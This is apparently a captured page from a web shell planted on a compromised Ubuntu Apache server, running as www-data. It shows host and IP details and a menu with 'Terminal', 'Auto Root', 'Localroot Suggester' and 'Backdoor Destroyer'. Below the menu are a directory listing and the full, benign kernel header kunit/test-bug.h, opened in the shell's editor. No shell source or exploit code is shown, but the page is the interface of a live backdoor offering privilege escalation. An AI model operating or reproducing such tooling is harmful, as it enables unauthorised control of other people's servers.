Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-6.8.0-124 /
include /
kunit /
Delete
Unzip
Name
Size
Permission
Date
Action
assert.h
7.49
KB
-rw-r--r--
2024-03-10 20:38
attributes.h
1.35
KB
-rw-r--r--
2024-03-10 20:38
device.h
2.77
KB
-rw-r--r--
2024-03-10 20:38
resource.h
15.69
KB
-rw-r--r--
2024-03-10 20:38
skbuff.h
1.32
KB
-rw-r--r--
2026-05-26 09:55
static_stub.h
3.6
KB
-rw-r--r--
2024-03-10 20:38
test-bug.h
2.05
KB
-rw-r--r--
2024-03-10 20:38
test.h
54.38
KB
-rw-r--r--
2024-03-10 20:38
try-catch.h
2.36
KB
-rw-r--r--
2024-03-10 20:38
visibility.h
1018
B
-rw-r--r--
2024-03-10 20:38
Save
Rename
/* SPDX-License-Identifier: GPL-2.0 */ /* * KUnit API providing hooks for non-test code to interact with tests. * * Copyright (C) 2020, Google LLC. * Author: Uriel Guajardo <urielguajardo@google.com> */ #ifndef _KUNIT_TEST_BUG_H #define _KUNIT_TEST_BUG_H #include <linux/stddef.h> /* for NULL */ #if IS_ENABLED(CONFIG_KUNIT) #include <linux/jump_label.h> /* For static branch */ #include <linux/sched.h> /* Static key if KUnit is running any tests. */ DECLARE_STATIC_KEY_FALSE(kunit_running); /* Hooks table: a table of function pointers filled in when kunit loads */ extern struct kunit_hooks_table { __printf(3, 4) void (*fail_current_test)(const char*, int, const char*, ...); void *(*get_static_stub_address)(struct kunit *test, void *real_fn_addr); } kunit_hooks; /** * kunit_get_current_test() - Return a pointer to the currently running * KUnit test. * * If a KUnit test is running in the current task, returns a pointer to its * associated struct kunit. This pointer can then be passed to any KUnit * function or assertion. If no test is running (or a test is running in a * different task), returns NULL. * * This function is safe to call even when KUnit is disabled. If CONFIG_KUNIT * is not enabled, it will compile down to nothing and will return quickly no * test is running. */ static inline struct kunit *kunit_get_current_test(void) { if (!static_branch_unlikely(&kunit_running)) return NULL; return current->kunit_test; } /** * kunit_fail_current_test() - If a KUnit test is running, fail it. * * If a KUnit test is running in the current task, mark that test as failed. */ #define kunit_fail_current_test(fmt, ...) do { \ if (static_branch_unlikely(&kunit_running)) { \ /* Guaranteed to be non-NULL when kunit_running true*/ \ kunit_hooks.fail_current_test(__FILE__, __LINE__, \ fmt, ##__VA_ARGS__); \ } \ } while (0) #else static inline struct kunit *kunit_get_current_test(void) { return NULL; } #define kunit_fail_current_test(fmt, ...) do {} while (0) #endif #endif /* _KUNIT_TEST_BUG_H */